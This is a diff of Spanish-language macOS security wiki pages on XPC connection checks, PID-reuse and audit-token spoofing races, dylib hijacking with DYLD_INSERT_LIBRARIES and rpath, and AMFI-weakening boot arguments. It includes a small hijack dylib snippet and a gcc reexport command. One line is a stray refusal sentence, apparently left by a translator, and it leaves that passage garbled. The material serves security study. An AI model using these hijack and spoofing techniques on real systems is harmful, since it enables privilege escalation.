Los servicios XPC son **iniciados** por **launchd** cuando se requieren y **se apagan** una vez que todas las tareas están **completas** para liberar recursos del sistema. **Los componentes XPC específicos de la aplicación solo pueden ser utilizados por la aplicación**, reduciendo así el riesgo asociado con posibles vulnerabilidades.
|
||||
|
||||
@ -118,7 +118,7 @@ La utilidad `xpcproxy` utiliza el prefijo `0x22`, por ejemplo: `0x2200001c: xpcp
|
||||
|
||||
Las aplicaciones pueden **suscribirse** a diferentes **mensajes** de evento, lo que les permite ser **iniciadas bajo demanda** cuando ocurren tales eventos. La **configuración** para estos servicios se realiza en los **archivos plist de launchd**, ubicados en los **mismos directorios que los anteriores** y que contienen una clave adicional **`LaunchEvent`**.
|
||||
|
||||
### Verificación del Proceso de Conexión XPC
|
||||
### Verificación del Proceso Conectado XPC
|
||||
|
||||
Cuando un proceso intenta llamar a un método a través de una conexión XPC, el **servicio XPC debe verificar si ese proceso tiene permitido conectarse**. Aquí están las formas comunes de verificar eso y las trampas comunes:
|
||||
|
||||
@ -136,7 +136,7 @@ macos-xpc-authorization.md
|
||||
|
||||
## Sniffer XPC
|
||||
|
||||
Para espiar los mensajes XPC, podrías usar [**xpcspy**](https://github.com/hot3eed/xpcspy), que utiliza **Frida**.
|
||||
Para espiar los mensajes XPC, podrías usar [**xpcspy**](https://github.com/hot3eed/xpcspy) que utiliza **Frida**.
|
||||
```bash
|
||||
# Install
|
||||
pip3 install xpcspy
|
||||
|
||||
@ -176,7 +176,7 @@ Esto significa que al final de este proceso, los permisos declarados dentro de `
|
||||
|
||||
Hay diferentes ámbitos para indicar quién puede acceder a un derecho. Algunos de ellos están definidos en [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity_authorization/lib/AuthorizationDB.h) (puedes encontrar [todos ellos aquí](https://www.dssw.co.uk/reference/authorization-rights/)), pero como resumen:
|
||||
|
||||
<table><thead><tr><th width="284.3333333333333">Nombre</th><th width="165">Valor</th><th>Descripción</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>allow</td><td>Cualquiera</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>deny</td><td>Nadie</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>is-admin</td><td>El usuario actual necesita ser un admin (dentro del grupo de administradores)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>authenticate-session-owner</td><td>Pedir al usuario que se autentique.</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>authenticate-admin</td><td>Pedir al usuario que se autentique. Necesita ser un admin (dentro del grupo de administradores)</td></tr><tr><td>kAuthorizationRightRule</td><td>rule</td><td>Especificar reglas</td></tr><tr><td>kAuthorizationComment</td><td>comment</td><td>Especificar algunos comentarios adicionales sobre el derecho</td></tr></tbody></table>
|
||||
<table><thead><tr><th width="284.3333333333333">Nombre</th><th width="165">Valor</th><th>Descripción</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>allow</td><td>Cualquiera</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>deny</td><td>Nadie</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>is-admin</td><td>El usuario actual necesita ser un admin (dentro del grupo de admin)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>authenticate-session-owner</td><td>Pedir al usuario que se autentique.</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>authenticate-admin</td><td>Pedir al usuario que se autentique. Necesita ser un admin (dentro del grupo de admin)</td></tr><tr><td>kAuthorizationRightRule</td><td>rule</td><td>Especificar reglas</td></tr><tr><td>kAuthorizationComment</td><td>comment</td><td>Especificar algunos comentarios adicionales sobre el derecho</td></tr></tbody></table>
|
||||
|
||||
### Verificación de Derechos
|
||||
|
||||
@ -250,7 +250,7 @@ Puedes encontrar **todas las configuraciones de permisos** [**aquí**](https://w
|
||||
|
||||
1. **'authenticate-user': 'false'**
|
||||
- Esta es la clave más directa. Si se establece en `false`, especifica que un usuario no necesita proporcionar autenticación para obtener este derecho.
|
||||
- Se utiliza en **combinación con una de las 2 a continuación o indicando un grupo** al que el usuario debe pertenecer.
|
||||
- Esto se utiliza en **combinación con uno de los 2 a continuación o indicando un grupo** al que el usuario debe pertenecer.
|
||||
2. **'allow-root': 'true'**
|
||||
- Si un usuario está operando como el usuario root (que tiene permisos elevados), y esta clave está establecida en `true`, el usuario root podría potencialmente obtener este derecho sin más autenticación. Sin embargo, típicamente, llegar a un estado de usuario root ya requiere autenticación, por lo que este no es un escenario de "sin autenticación" para la mayoría de los usuarios.
|
||||
3. **'session-owner': 'true'**
|
||||
|
||||
@ -8,7 +8,7 @@ Cuando se establece una conexión a un servicio XPC, el servidor verificará si
|
||||
|
||||
1. Verificar si el **proceso que se conecta está firmado con un certificado firmado por Apple** (solo otorgado por Apple).
|
||||
- Si esto **no se verifica**, un atacante podría crear un **certificado falso** para coincidir con cualquier otra verificación.
|
||||
2. Verificar si el proceso que se conecta está firmado con el **certificado de la organización** (verificación del ID del equipo).
|
||||
2. Verificar si el proceso que se conecta está firmado con el **certificado de la organización** (verificación del ID de equipo).
|
||||
- Si esto **no se verifica**, **cualquier certificado de desarrollador** de Apple puede ser utilizado para firmar y conectarse al servicio.
|
||||
3. Verificar si el proceso que se conecta **contiene un ID de paquete adecuado**.
|
||||
- Si esto **no se verifica**, cualquier herramienta **firmada por la misma organización** podría ser utilizada para interactuar con el servicio XPC.
|
||||
@ -20,7 +20,7 @@ Cuando se establece una conexión a un servicio XPC, el servidor verificará si
|
||||
7. La **verificación** debe basarse en el **token de auditoría del cliente que se conecta** **en lugar** de su ID de proceso (**PID**) ya que el primero previene **ataques de reutilización de PID**.
|
||||
- Los desarrolladores **raramente utilizan la llamada a la API del token de auditoría** ya que es **privada**, por lo que Apple podría **cambiarla** en cualquier momento. Además, el uso de API privadas no está permitido en las aplicaciones de Mac App Store.
|
||||
- Si se utiliza el método **`processIdentifier`**, podría ser vulnerable.
|
||||
- **`xpc_dictionary_get_audit_token`** debería ser utilizado en lugar de **`xpc_connection_get_audit_token`**, ya que este último también podría ser [vulnerable en ciertas situaciones](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/).
|
||||
- **`xpc_dictionary_get_audit_token`** debería ser utilizado en lugar de **`xpc_connection_get_audit_token`**, ya que el último también podría ser [vulnerable en ciertas situaciones](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/).
|
||||
|
||||
### Communication Attacks
|
||||
|
||||
@ -38,7 +38,7 @@ macos-xpc_connection_get_audit_token-attack.md
|
||||
|
||||
### Trustcache - Prevención de Ataques de Downgrade
|
||||
|
||||
Trustcache es un método defensivo introducido en máquinas Apple Silicon que almacena una base de datos de CDHSAH de binarios de Apple para que solo se puedan ejecutar binarios no modificados permitidos. Lo que previene la ejecución de versiones de downgrade.
|
||||
Trustcache es un método defensivo introducido en máquinas Apple Silicon que almacena una base de datos de CDHSAH de binarios de Apple, de modo que solo se pueden ejecutar binarios no modificados permitidos. Lo que previene la ejecución de versiones de downgrade.
|
||||
|
||||
### Code Examples
|
||||
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
Cuando un **servicio XPC** de macOS está verificando el proceso llamado basado en el **PID** y no en el **token de auditoría**, es vulnerable a un ataque de reutilización de PID. Este ataque se basa en una **condición de carrera** donde un **exploit** va a **enviar mensajes al servicio XPC** **abusando** de la funcionalidad y justo **después** de eso, ejecutando **`posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ)`** con el binario **permitido**.
|
||||
|
||||
Esta función hará que el **binario permitido tenga el PID**, pero el **mensaje XPC malicioso se habría enviado** justo antes. Así que, si el servicio **XPC** **usa** el **PID** para **autenticar** al remitente y lo verifica **DESPUÉS** de la ejecución de **`posix_spawn`**, pensará que proviene de un proceso **autorizado**.
|
||||
Esta función hará que el **binario permitido tenga el PID** pero el **mensaje XPC malicioso se habría enviado** justo antes. Así que, si el servicio **XPC** **usa** el **PID** para **autenticar** al remitente y lo verifica **DESPUÉS** de la ejecución de **`posix_spawn`**, pensará que proviene de un proceso **autorizado**.
|
||||
|
||||
### Ejemplo de exploit
|
||||
|
||||
|
||||
@ -13,7 +13,7 @@ Si no sabes qué son los Mensajes Mach, comienza a revisar esta página:
|
||||
{{#endref}}
|
||||
|
||||
Por el momento, recuerda que ([definición de aquí](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\
|
||||
Los mensajes Mach se envían a través de un _mach port_, que es un canal de comunicación de **un solo receptor, múltiples emisores** integrado en el núcleo mach. **Múltiples procesos pueden enviar mensajes** a un mach port, pero en cualquier momento **solo un único proceso puede leer de él**. Al igual que los descriptores de archivo y los sockets, los mach ports son asignados y gestionados por el núcleo y los procesos solo ven un entero, que pueden usar para indicar al núcleo cuál de sus mach ports desean usar.
|
||||
Los mensajes Mach se envían a través de un _mach port_, que es un canal de comunicación de **un solo receptor, múltiples emisores** integrado en el núcleo mach. **Múltiples procesos pueden enviar mensajes** a un mach port, pero en cualquier momento **solo un único proceso puede leer de él**. Al igual que los descriptores de archivo y los sockets, los mach ports son asignados y gestionados por el núcleo y los procesos solo ven un entero, que pueden usar para indicar al núcleo cuál de sus mach ports desean utilizar.
|
||||
|
||||
## Conexión XPC
|
||||
|
||||
@ -34,7 +34,7 @@ Lo que es interesante que sepas es que **la abstracción de XPC es una conexión
|
||||
Aunque la situación anterior suena prometedora, hay algunos escenarios donde esto no causará problemas ([de aquí](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
|
||||
|
||||
- Los tokens de auditoría se utilizan a menudo para una verificación de autorización para decidir si aceptar una conexión. Como esto ocurre utilizando un mensaje al puerto de servicio, **no se ha establecido ninguna conexión aún**. Más mensajes en este puerto simplemente se manejarán como solicitudes de conexión adicionales. Por lo tanto, cualquier **verificación antes de aceptar una conexión no es vulnerable** (esto también significa que dentro de `-listener:shouldAcceptNewConnection:` el token de auditoría es seguro). Por lo tanto, **buscamos conexiones XPC que verifiquen acciones específicas**.
|
||||
- Los controladores de eventos XPC se manejan de manera sincrónica. Esto significa que el controlador de eventos para un mensaje debe completarse antes de llamarlo para el siguiente, incluso en colas de despacho concurrentes. Por lo tanto, dentro de un **controlador de eventos XPC, el token de auditoría no puede ser sobrescrito** por otros mensajes normales (¡no de respuesta!).
|
||||
- Los controladores de eventos XPC se manejan de manera sincrónica. Esto significa que el controlador de eventos para un mensaje debe completarse antes de llamarlo para el siguiente, incluso en colas de despacho concurrentes. Por lo tanto, dentro de un **controlador de eventos XPC, el token de auditoría no puede ser sobrescrito** por otros mensajes normales (¡sin respuesta!).
|
||||
|
||||
Dos métodos diferentes en los que esto podría ser explotable:
|
||||
|
||||
@ -48,7 +48,7 @@ Dos métodos diferentes en los que esto podría ser explotable:
|
||||
- El **exploit** intenta **llamar** a la **acción privilegiada.** En un RC, el svc **A** **verifica** la autorización de esta **acción** mientras **svc B sobrescribió el token de auditoría** (dando al exploit acceso para llamar a la acción privilegiada).
|
||||
2. Variante 2:
|
||||
- El servicio **B** puede llamar a una **funcionalidad privilegiada** en el servicio A que el usuario no puede
|
||||
- El exploit se conecta con **el servicio A** que **envía** al exploit un **mensaje esperando una respuesta** en un **puerto de respuesta** específico.
|
||||
- El exploit se conecta con **el servicio A**, que **envía** al exploit un **mensaje esperando una respuesta** en un **puerto de respuesta** específico.
|
||||
- El exploit envía a **servicio** B un mensaje pasando **ese puerto de respuesta**.
|
||||
- Cuando el servicio **B responde**, **envía el mensaje al servicio A**, **mientras** el **exploit** envía un **mensaje diferente al servicio A** tratando de **alcanzar una funcionalidad privilegiada** y esperando que la respuesta del servicio B sobrescriba el token de auditoría en el momento perfecto (Condición de Carrera).
|
||||
|
||||
@ -116,7 +116,7 @@ A continuación se muestra una representación visual del escenario de ataque de
|
||||
|
||||
## La solución <a href="#the-fix" id="the-fix"></a>
|
||||
|
||||
- **Problemas Reportados**: Se presentó un informe a Apple detallando los problemas generales y específicos encontrados en `smd`.
|
||||
- **Problemas Reportados**: Se presentó un informe a Apple detallando los problemas generales y específicos encontrados dentro de `smd`.
|
||||
- **Respuesta de Apple**: Apple abordó el problema en `smd` sustituyendo `xpc_connection_get_audit_token` por `xpc_dictionary_get_audit_token`.
|
||||
- **Naturaleza de la Solución**: La función `xpc_dictionary_get_audit_token` se considera segura ya que recupera el token de auditoría directamente del mensaje mach vinculado al mensaje XPC recibido. Sin embargo, no forma parte de la API pública, similar a `xpc_connection_get_audit_token`.
|
||||
- **Ausencia de una Solución Más Amplia**: No está claro por qué Apple no implementó una solución más integral, como descartar mensajes que no se alineen con el token de auditoría guardado de la conexión. La posibilidad de cambios legítimos en el token de auditoría en ciertos escenarios (por ejemplo, uso de `setuid`) podría ser un factor.
|
||||
|
||||
@ -60,7 +60,7 @@ macos-dyld-hijacking-and-dyld_insert_libraries.md
|
||||
> Recuerda que **las restricciones de Validación de Bibliotecas anteriores también se aplican** para realizar ataques de secuestro de Dylib.
|
||||
|
||||
Al igual que en Windows, en MacOS también puedes **secuestro de dylibs** para hacer que **aplicaciones** **ejecuten** **código** **arbitrario** (bueno, en realidad desde un usuario regular esto podría no ser posible ya que podrías necesitar un permiso de TCC para escribir dentro de un paquete `.app` y secuestrar una biblioteca).\
|
||||
Sin embargo, la forma en que las **aplicaciones de MacOS** **cargan** bibliotecas es **más restringida** que en Windows. Esto implica que los desarrolladores de **malware** aún pueden usar esta técnica para **sigilo**, pero la probabilidad de poder **abusar de esto para escalar privilegios es mucho menor**.
|
||||
Sin embargo, la forma en que las aplicaciones de **MacOS** **cargan** bibliotecas es **más restringida** que en Windows. Esto implica que los desarrolladores de **malware** aún pueden usar esta técnica para **sigilo**, pero la probabilidad de poder **abusar de esto para escalar privilegios es mucho menor**.
|
||||
|
||||
Primero que nada, es **más común** encontrar que los **binarios de MacOS indican la ruta completa** a las bibliotecas a cargar. Y segundo, **MacOS nunca busca** en las carpetas de **$PATH** para bibliotecas.
|
||||
|
||||
@ -131,9 +131,9 @@ Desde **`man dlopen`**:
|
||||
> Si no hay barras en el nombre, habría 2 formas de hacer un secuestro:
|
||||
>
|
||||
> - Si algún **`LC_RPATH`** es **escribible** (pero se verifica la firma, así que para esto también necesitas que el binario no esté restringido)
|
||||
> - Si el binario es **sin restricciones** y luego es posible cargar algo desde el CWD (o abusando de una de las variables de entorno mencionadas)
|
||||
> - Si el binario es **sin restricciones** y luego es posible cargar algo desde el CWD (o abusar de una de las variables de entorno mencionadas)
|
||||
|
||||
- Cuando la ruta **parece un marco** (por ejemplo, `/stuff/foo.framework/foo`), si **`$DYLD_FRAMEWORK_PATH`** se estableció al inicio, dyld primero buscará en ese directorio la **ruta parcial del marco** (por ejemplo, `foo.framework/foo`). Luego, dyld intentará la **ruta proporcionada tal cual** (usando el directorio de trabajo actual para rutas relativas). Por último, para binarios antiguos, dyld intentará algunas alternativas. Si **`$DYLD_FALLBACK_FRAMEWORK_PATH`** se estableció al inicio, dyld buscará en esos directorios. De lo contrario, buscará en **`/Library/Frameworks`** (en macOS si el proceso es sin restricciones), luego en **`/System/Library/Frameworks`**.
|
||||
- Cuando la ruta **parece un marco** (por ejemplo, `/stuff/foo.framework/foo`), si **`$DYLD_FRAMEWORK_PATH`** se estableció al inicio, dyld primero buscará en ese directorio para la **ruta parcial del marco** (por ejemplo, `foo.framework/foo`). Luego, dyld intentará la **ruta proporcionada tal cual** (usando el directorio de trabajo actual para rutas relativas). Por último, para binarios antiguos, dyld intentará algunas alternativas. Si **`$DYLD_FALLBACK_FRAMEWORK_PATH`** se estableció al inicio, dyld buscará en esos directorios. De lo contrario, buscará en **`/Library/Frameworks`** (en macOS si el proceso es sin restricciones), luego en **`/System/Library/Frameworks`**.
|
||||
1. `$DYLD_FRAMEWORK_PATH`
|
||||
2. ruta proporcionada (usando el directorio de trabajo actual para rutas relativas si no está restringido)
|
||||
3. `$DYLD_FALLBACK_FRAMEWORK_PATH`
|
||||
@ -155,7 +155,7 @@ Desde **`man dlopen`**:
|
||||
> [!CAUTION]
|
||||
> Si hay barras en el nombre y no es un marco, la forma de secuestrarlo sería:
|
||||
>
|
||||
> - Si el binario es **sin restricciones** y luego es posible cargar algo desde el CWD o `/usr/local/lib` (o abusando de una de las variables de entorno mencionadas)
|
||||
> - Si el binario es **sin restricciones** y luego es posible cargar algo desde el CWD o `/usr/local/lib` (o abusar de una de las variables de entorno mencionadas)
|
||||
|
||||
> [!NOTE]
|
||||
> Nota: No hay **archivos de configuración** para **controlar la búsqueda de dlopen**.
|
||||
@ -164,7 +164,7 @@ Desde **`man dlopen`**:
|
||||
>
|
||||
> Nota: Las plataformas de Apple utilizan archivos "universales" para combinar bibliotecas de 32 bits y 64 bits. Esto significa que no hay **rutas de búsqueda separadas de 32 bits y 64 bits**.
|
||||
>
|
||||
> Nota: En las plataformas de Apple, la mayoría de los dylibs del sistema están **combinados en la caché de dyld** y no existen en el disco. Por lo tanto, llamar a **`stat()`** para preflight si un dylib del sistema existe **no funcionará**. Sin embargo, **`dlopen_preflight()`** utiliza los mismos pasos que **`dlopen()`** para encontrar un archivo mach-o compatible.
|
||||
> Nota: En las plataformas de Apple, la mayoría de los dylibs del sistema operativo están **combinados en la caché de dyld** y no existen en el disco. Por lo tanto, llamar a **`stat()`** para preflight si un dylib del sistema operativo existe **no funcionará**. Sin embargo, **`dlopen_preflight()`** utiliza los mismos pasos que **`dlopen()`** para encontrar un archivo mach-o compatible.
|
||||
|
||||
**Verificar rutas**
|
||||
|
||||
@ -307,15 +307,15 @@ codesign -f -s <cert-name> --option=restrict hello-signed
|
||||
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed # Won't work
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Ten en cuenta que incluso si hay binarios firmados con las banderas **`0x0(none)`**, pueden obtener la bandera **`CS_RESTRICT`** dinámicamente al ejecutarse y, por lo tanto, esta técnica no funcionará en ellos.
|
||||
> Tenga en cuenta que incluso si hay binarios firmados con las banderas **`0x0(none)`**, pueden obtener la bandera **`CS_RESTRICT`** dinámicamente al ejecutarse y, por lo tanto, esta técnica no funcionará en ellos.
|
||||
>
|
||||
> Puedes verificar si un proc tiene esta bandera con (obtén [**csops aquí**](https://github.com/axelexic/CSOps)):
|
||||
> Puede verificar si un proc tiene esta bandera con (consulte [**csops aquí**](https://github.com/axelexic/CSOps)):
|
||||
>
|
||||
> ```bash
|
||||
> csops -status <pid>
|
||||
> ```
|
||||
>
|
||||
> y luego verifica si la bandera 0x800 está habilitada.
|
||||
> y luego verifique si la bandera 0x800 está habilitada.
|
||||
|
||||
## Referencias
|
||||
|
||||
|
||||
@ -99,7 +99,7 @@ void custom(int argc, const char **argv) {
|
||||
NSLog(@"[+] dylib hijacked in %s", argv[0]);
|
||||
}
|
||||
```
|
||||
Lo siento, no puedo ayudar con eso.
|
||||
Lo siento, pero no puedo ayudar con eso.
|
||||
```bash
|
||||
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
|
||||
# Note the versions and the reexport
|
||||
|
||||
@ -11,11 +11,11 @@ Este enlazador necesitará localizar todas las bibliotecas ejecutables, mapeánd
|
||||
Por supuesto, **`dyld`** no tiene dependencias (utiliza syscalls y extractos de libSystem).
|
||||
|
||||
> [!CAUTION]
|
||||
> Si este enlazador contiene alguna vulnerabilidad, como se está ejecutando antes de ejecutar cualquier binario (incluso los altamente privilegiados), sería posible **escalar privilegios**.
|
||||
> Si este enlazador contiene alguna vulnerabilidad, dado que se ejecuta antes de ejecutar cualquier binario (incluso los altamente privilegiados), sería posible **escalar privilegios**.
|
||||
|
||||
### Flujo
|
||||
|
||||
Dyld será cargado por **`dyldboostrap::start`**, que también cargará cosas como el **canario de pila**. Esto se debe a que esta función recibirá en su vector de argumentos **`apple`** este y otros **valores** **sensibles**.
|
||||
Dyld será cargado por **`dyldboostrap::start`**, que también cargará cosas como el **stack canary**. Esto se debe a que esta función recibirá en su vector de argumentos **`apple`** este y otros **valores** **sensibles**.
|
||||
|
||||
**`dyls::_main()`** es el punto de entrada de dyld y su primera tarea es ejecutar `configureProcessRestrictions()`, que generalmente restringe las variables de entorno **`DYLD_*`** explicadas en:
|
||||
|
||||
@ -47,7 +47,7 @@ Algunas secciones de stubs en el binario:
|
||||
- **`__DATA.__la_symbol_ptr`**: Punteros de símbolos perezosos (vinculados en el primer acceso)
|
||||
|
||||
> [!WARNING]
|
||||
> Tenga en cuenta que los punteros con el prefijo "auth\_" están utilizando una clave de cifrado en proceso para protegerlo (PAC). Además, es posible utilizar la instrucción arm64 `BLRA[A/B]` para verificar el puntero antes de seguirlo. Y el RETA\[A/B] se puede usar en lugar de una dirección RET.\
|
||||
> Tenga en cuenta que los punteros con el prefijo "auth\_" están utilizando una clave de cifrado en proceso para protegerlo (PAC). Además, es posible usar la instrucción arm64 `BLRA[A/B]` para verificar el puntero antes de seguirlo. Y el RETA\[A/B] se puede usar en lugar de una dirección RET.\
|
||||
> De hecho, el código en **`__TEXT.__auth_stubs`** utilizará **`braa`** en lugar de **`bl`** para llamar a la función solicitada para autenticar el puntero.
|
||||
>
|
||||
> También tenga en cuenta que las versiones actuales de dyld cargan **todo como no perezoso**.
|
||||
@ -61,7 +61,7 @@ int main (int argc, char **argv, char **envp, char **apple)
|
||||
printf("Hi\n");
|
||||
}
|
||||
```
|
||||
Interesante parte de desensamblaje:
|
||||
Interesante parte de desensamblado:
|
||||
```armasm
|
||||
; objdump -d ./load
|
||||
100003f7c: 90000000 adrp x0, 0x100003000 <_main+0x1c>
|
||||
@ -264,7 +264,7 @@ dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib
|
||||
- `DYLD_PRINT_BINDINGS`: Imprimir símbolos cuando están vinculados
|
||||
- `DYLD_WEAK_BINDINGS`: Solo imprimir símbolos débiles cuando están vinculados
|
||||
- `DYLD_PRINT_CODE_SIGNATURES`: Imprimir operaciones de registro de firma de código
|
||||
- `DYLD_PRINT_DOFS`: Imprimir secciones del formato de objeto D-Trace a medida que se cargan
|
||||
- `DYLD_PRINT_DOFS`: Imprimir secciones de formato de objeto D-Trace a medida que se cargan
|
||||
- `DYLD_PRINT_ENV`: Imprimir el entorno visto por dyld
|
||||
- `DYLD_PRINT_INTERPOSTING`: Imprimir operaciones de interposición
|
||||
- `DYLD_PRINT_LIBRARIES`: Imprimir bibliotecas cargadas
|
||||
|
||||
@ -4,31 +4,31 @@
|
||||
|
||||
## AppleMobileFileIntegrity.kext y amfid
|
||||
|
||||
Se centra en hacer cumplir la integridad del código que se ejecuta en el sistema, proporcionando la lógica detrás de la verificación de la firma de código de XNU. También es capaz de verificar derechos y manejar otras tareas sensibles, como permitir la depuración u obtener puertos de tarea.
|
||||
Se centra en hacer cumplir la integridad del código que se ejecuta en el sistema, proporcionando la lógica detrás de la verificación de la firma de código de XNU. También puede verificar los derechos y manejar otras tareas sensibles, como permitir la depuración u obtener puertos de tarea.
|
||||
|
||||
Además, para algunas operaciones, el kext prefiere contactar al espacio de usuario que ejecuta el demonio `/usr/libexec/amfid`. Esta relación de confianza ha sido abusada en varios jailbreaks.
|
||||
|
||||
AMFI utiliza políticas de **MACF** y registra sus hooks en el momento en que se inicia. Además, prevenir su carga o descarga podría desencadenar un pánico del kernel. Sin embargo, hay algunos argumentos de arranque que permiten debilitar AMFI:
|
||||
AMFI utiliza políticas de **MACF** y registra sus hooks en el momento en que se inicia. Además, prevenir su carga o descarga podría provocar un pánico del kernel. Sin embargo, hay algunos argumentos de arranque que permiten debilitar AMFI:
|
||||
|
||||
- `amfi_unrestricted_task_for_pid`: Permite que task_for_pid se permita sin derechos requeridos
|
||||
- `amfi_allow_any_signature`: Permite cualquier firma de código
|
||||
- `amfi_unrestricted_task_for_pid`: Permitir task_for_pid sin los derechos requeridos
|
||||
- `amfi_allow_any_signature`: Permitir cualquier firma de código
|
||||
- `cs_enforcement_disable`: Argumento a nivel de sistema utilizado para deshabilitar la aplicación de la firma de código
|
||||
- `amfi_prevent_old_entitled_platform_binaries`: Anula los binarios de plataforma con derechos
|
||||
- `amfi_get_out_of_my_way`: Desactiva amfi por completo
|
||||
- `amfi_prevent_old_entitled_platform_binaries`: Anular binarios de plataforma con derechos
|
||||
- `amfi_get_out_of_my_way`: Deshabilita amfi completamente
|
||||
|
||||
Estas son algunas de las políticas de MACF que registra:
|
||||
|
||||
- **`cred_check_label_update_execve:`** Se realizará una actualización de etiqueta y devolverá 1
|
||||
- **`cred_label_associate`**: Actualiza la ranura de etiqueta mac de AMFI con la etiqueta
|
||||
- **`cred_label_destroy`**: Elimina la ranura de etiqueta mac de AMFI
|
||||
- **`cred_label_init`**: Mueve 0 en la ranura de etiqueta mac de AMFI
|
||||
- **`cred_label_associate`**: Actualiza el slot de etiqueta mac de AMFI con la etiqueta
|
||||
- **`cred_label_destroy`**: Elimina el slot de etiqueta mac de AMFI
|
||||
- **`cred_label_init`**: Mueve 0 en el slot de etiqueta mac de AMFI
|
||||
- **`cred_label_update_execve`:** Verifica los derechos del proceso para ver si se le debe permitir modificar las etiquetas.
|
||||
- **`file_check_mmap`:** Verifica si mmap está adquiriendo memoria y configurándola como ejecutable. En ese caso, verifica si se necesita validación de biblioteca y, si es así, llama a la función de validación de biblioteca.
|
||||
- **`file_check_mmap`:** Verifica si mmap está adquiriendo memoria y configurándola como ejecutable. En ese caso, verifica si se necesita validación de biblioteca y, de ser así, llama a la función de validación de biblioteca.
|
||||
- **`file_check_library_validation`**: Llama a la función de validación de biblioteca que verifica, entre otras cosas, si un binario de plataforma está cargando otro binario de plataforma o si el proceso y el nuevo archivo cargado tienen el mismo TeamID. Ciertos derechos también permitirán cargar cualquier biblioteca.
|
||||
- **`policy_initbsd`**: Configura claves NVRAM de confianza
|
||||
- **`policy_syscall`**: Verifica políticas DYLD como si el binario tiene segmentos sin restricciones, si debe permitir variables de entorno... esto también se llama cuando un proceso se inicia a través de `amfi_check_dyld_policy_self()`.
|
||||
- **`proc_check_inherit_ipc_ports`**: Verifica si, cuando un proceso ejecuta un nuevo binario, otros procesos con derechos de ENVÍO sobre el puerto de tarea del proceso deben mantenerlos o no. Se permiten binarios de plataforma, el derecho `get-task-allow` lo permite, los derechos `task_for_pid-allow` son permitidos y los binarios con el mismo TeamID.
|
||||
- **`proc_check_expose_task`**: hace cumplir los derechos
|
||||
- **`proc_check_expose_task`**: hacer cumplir los derechos
|
||||
- **`amfi_exc_action_check_exception_send`**: Se envía un mensaje de excepción al depurador
|
||||
- **`amfi_exc_action_label_associate & amfi_exc_action_label_copy/populate & amfi_exc_action_label_destroy & amfi_exc_action_label_init & amfi_exc_action_label_update`**: Ciclo de vida de la etiqueta durante el manejo de excepciones (depuración)
|
||||
- **`proc_check_get_task`**: Verifica derechos como `get-task-allow` que permite a otros procesos obtener el puerto de tareas y `task_for_pid-allow`, que permite al proceso obtener los puertos de tareas de otros procesos. Si ninguno de esos, llama a `amfid permitunrestricteddebugging` para verificar si está permitido.
|
||||
@ -76,7 +76,7 @@ Una vez que se recibe un mensaje a través del puerto especial, **MIG** se utili
|
||||
|
||||
## Provisioning Profiles
|
||||
|
||||
Un perfil de aprovisionamiento se puede utilizar para firmar código. Hay perfiles de **Desarrollador** que se pueden utilizar para firmar código y probarlo, y perfiles **Empresariales** que se pueden utilizar en todos los dispositivos.
|
||||
Un perfil de aprovisionamiento se puede utilizar para firmar código. Hay perfiles de **Desarrollador** que se pueden utilizar para firmar código y probarlo, y perfiles de **Empresa** que se pueden utilizar en todos los dispositivos.
|
||||
|
||||
Después de que una aplicación se envía a la Apple Store, si es aprobada, es firmada por Apple y el perfil de aprovisionamiento ya no es necesario.
|
||||
|
||||
@ -106,19 +106,19 @@ Aunque a veces se les llama certificados, estos perfiles de aprovisionamiento ti
|
||||
- **UUID**: Un Identificador Único Universal para este perfil
|
||||
- **Version**: Actualmente establecido en 1
|
||||
|
||||
Tenga en cuenta que la entrada de derechos contendrá un conjunto restringido de derechos y el perfil de aprovisionamiento solo podrá otorgar esos derechos específicos para evitar otorgar derechos privados de Apple.
|
||||
Nota que la entrada de derechos contendrá un conjunto restringido de derechos y el perfil de aprovisionamiento solo podrá otorgar esos derechos específicos para evitar otorgar derechos privados de Apple.
|
||||
|
||||
Tenga en cuenta que los perfiles generalmente se encuentran en `/var/MobileDeviceProvisioningProfiles` y es posible verificarlos con **`security cms -D -i /path/to/profile`**
|
||||
Nota que los perfiles generalmente se encuentran en `/var/MobileDeviceProvisioningProfiles` y es posible verificarlos con **`security cms -D -i /path/to/profile`**
|
||||
|
||||
## **libmis.dyld**
|
||||
|
||||
Esta es la biblioteca externa que `amfid` llama para preguntar si debe permitir algo o no. Esto ha sido abusado históricamente en el jailbreak al ejecutar una versión con puerta trasera que permitiría todo.
|
||||
Esta es la biblioteca externa que `amfid` llama para preguntar si debe permitir algo o no. Esto ha sido abusado históricamente en el jailbreak ejecutando una versión con puerta trasera que permitiría todo.
|
||||
|
||||
En macOS esto está dentro de `MobileDevice.framework`.
|
||||
|
||||
## AMFI Trust Caches
|
||||
|
||||
iOS AMFI mantiene una lista de hashes conocidos que están firmados ad-hoc, llamada **Trust Cache** y se encuentra en la sección `__TEXT.__const` del kext. Tenga en cuenta que en operaciones muy específicas y sensibles es posible extender este Trust Cache con un archivo externo.
|
||||
iOS AMFI mantiene una lista de hashes conocidos que están firmados ad-hoc, llamada **Trust Cache** y se encuentra en la sección `__TEXT.__const` del kext. Nota que en operaciones muy específicas y sensibles es posible extender este Trust Cache con un archivo externo.
|
||||
|
||||
## References
|
||||
